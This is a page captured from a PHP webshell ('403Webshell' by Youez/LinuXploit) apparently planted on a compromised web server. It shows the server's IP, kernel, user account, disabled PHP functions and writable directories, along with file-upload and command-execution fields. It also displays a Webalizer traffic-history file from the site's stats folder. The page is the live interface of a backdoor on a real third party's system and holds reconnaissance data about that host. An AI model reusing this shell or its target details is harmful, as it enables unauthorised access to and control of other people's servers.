403Webshell
Server IP : 175.110.121.100  /  Your IP : 10.10.10.2
Web Server : Apache/2
System : Linux webserver 6.12.0-211.34.1.el10_2.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 15 07:56:02 EDT 2026 x86_64
User : webadmin ( 1000)
PHP Version : 8.3.31
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/webadmin/domains/kwakkel.me/stats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/webadmin/domains/kwakkel.me/stats/webalizer.hist
# Webalizer V2.23-08 History Data - 28/Jul/2026 00:10:42 (120 month)
7 2026 183150 132095 1 996605 1 28 32449 36
6 2026 183475 142267 1 806152 1 30 43289 1
5 2026 186652 143957 1 800736 1 31 35521 12
4 2026 245475 178422 1 983311 1 30 47944 4
3 2026 449572 389603 1 979011 1 31 40508 86
2 2026 27018 16251 2 80435 1 28 4762 359
1 2026 15066 7858 1 40780 1 31 3113 405
12 2025 6433 4490 1 14892 5 31 1569 350
11 2025 0 0 0 0 0 0 0 0
10 2025 1120 832 1 2046 1 8 286 51
9 2025 855 571 3 1979 1 30 159 56
8 2025 299 196 2 770 1 31 25 20
7 2025 568 446 2 2470 1 31 27 21
6 2025 581 418 2 2349 1 30 34 27
5 2025 624 407 2 2196 1 31 72 48
4 2025 1727 1218 2 4648 1 30 448 154
3 2025 7070 5711 2 16258 1 31 1470 406
2 2025 4511 3512 2 9058 1 28 788 271
1 2025 3932 2565 1 8260 1 31 1211 291
12 2024 4774 3792 1 16936 1 31 1767 252
11 2024 2501 1845 1 6855 1 30 675 269
10 2024 3194 2397 1 8480 1 31 723 232
9 2024 5956 5307 1 28313 1 30 3993 216
8 2024 5407 4650 1 16205 1 31 1037 230
7 2024 5980 4965 1 17006 1 31 1309 253
6 2024 4268 3440 1 14693 1 30 1264 229
5 2024 5552 3699 1 22541 1 31 2285 272
4 2024 5596 3205 1 19187 1 30 1890 279
3 2024 1666 1306 1 4626 1 31 654 226
2 2024 2881 2461 1 8250 1 29 626 233
1 2024 4051 3517 1 10947 1 31 491 247
12 2023 3886 3037 2 9957 1 31 602 263
11 2023 3323 2641 1 7130 1 30 680 296
10 2023 7232 6215 2 8683 1 31 604 251
9 2023 3653 2971 2 7614 1 30 539 210
8 2023 5759 4459 2 10764 1 31 562 204
7 2023 4195 3568 2 8199 1 31 591 305
6 2023 4540 4073 2 9620 1 30 547 294
5 2023 3317 2922 2 7461 1 31 714 334
4 2023 3630 3245 2 6992 1 30 681 349
3 2023 4895 4215 2 9945 1 31 924 396
2 2023 4598 3585 2 9375 1 28 394 185
1 2023 11493 10636 2 11456 1 31 960 358
12 2022 7917 7121 2 9007 1 31 726 303
11 2022 24276 19559 2 29209 1 30 2223 287
10 2022 16245 10042 2 24807 1 31 1942 321
9 2022 7409 2769 2 7527 1 30 1133 295
8 2022 19251 12536 2 37124 1 31 1558 327
7 2022 14566 9538 2 29182 1 31 1154 312
6 2022 15036 9679 2 25034 1 30 746 272
5 2022 20399 13330 2 32328 1 31 924 319
4 2022 15314 8340 2 22132 1 30 683 283
3 2022 9638 5770 2 14623 1 31 860 251
2 2022 9929 6384 2 13196 1 28 966 268
1 2022 9192 5898 2 11894 7 31 811 247
12 2021 0 0 0 0 0 0 0 0
11 2021 0 0 0 0 0 0 0 0
10 2021 3200 2198 2 2557 1 5 143 37
9 2021 11298 5654 2 13659 1 30 1069 292
8 2021 5404 3463 3 6791 1 31 620 175
7 2021 12826 9589 2 26076 1 31 1495 295
6 2021 15461 10782 1 35443 1 30 1217 314
5 2021 9263 6498 3 20092 4 31 1024 227
4 2021 0 0 0 0 0 0 0 0
3 2021 0 0 0 0 0 0 0 0
2 2021 0 0 0 0 0 0 0 0
1 2021 0 0 0 0 0 0 0 0
12 2020 0 0 0 0 0 0 0 0
11 2020 0 0 0 0 0 0 0 0
10 2020 0 0 0 0 0 0 0 0
9 2020 0 0 0 0 0 0 0 0
8 2020 0 0 0 0 0 0 0 0
7 2020 0 0 0 0 0 0 0 0
6 2020 0 0 0 0 0 0 0 0
5 2020 0 0 0 0 0 0 0 0
4 2020 0 0 0 0 0 0 0 0
3 2020 0 0 0 0 0 0 0 0
2 2020 0 0 0 0 0 0 0 0
1 2020 0 0 0 0 0 0 0 0
12 2019 0 0 0 0 0 0 0 0
11 2019 0 0 0 0 0 0 0 0
10 2019 0 0 0 0 0 0 0 0
9 2019 0 0 0 0 0 0 0 0
8 2019 0 0 0 0 0 0 0 0
7 2019 0 0 0 0 0 0 0 0
6 2019 0 0 0 0 0 0 0 0
5 2019 0 0 0 0 0 0 0 0
4 2019 0 0 0 0 0 0 0 0
3 2019 0 0 0 0 0 0 0 0
2 2019 0 0 0 0 0 0 0 0
1 2019 0 0 0 0 0 0 0 0
12 2018 0 0 0 0 0 0 0 0
11 2018 0 0 0 0 0 0 0 0
10 2018 0 0 0 0 0 0 0 0
9 2018 0 0 0 0 0 0 0 0
8 2018 0 0 0 0 0 0 0 0
7 2018 0 0 0 0 0 0 0 0
6 2018 0 0 0 0 0 0 0 0
5 2018 0 0 0 0 0 0 0 0
4 2018 0 0 0 0 0 0 0 0
3 2018 0 0 0 0 0 0 0 0
2 2018 0 0 0 0 0 0 0 0
1 2018 0 0 0 0 0 0 0 0
12 2017 0 0 0 0 0 0 0 0
11 2017 0 0 0 0 0 0 0 0
10 2017 0 0 0 0 0 0 0 0
9 2017 0 0 0 0 0 0 0 0
8 2017 0 0 0 0 0 0 0 0
7 2017 0 0 0 0 0 0 0 0
6 2017 0 0 0 0 0 0 0 0
5 2017 0 0 0 0 0 0 0 0
4 2017 0 0 0 0 0 0 0 0
3 2017 0 0 0 0 0 0 0 0
2 2017 0 0 0 0 0 0 0 0
1 2017 0 0 0 0 0 0 0 0
12 2016 0 0 0 0 0 0 0 0
11 2016 0 0 0 0 0 0 0 0
10 2016 0 0 0 0 0 0 0 0
9 2016 0 0 0 0 0 0 0 0
8 2016 0 0 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit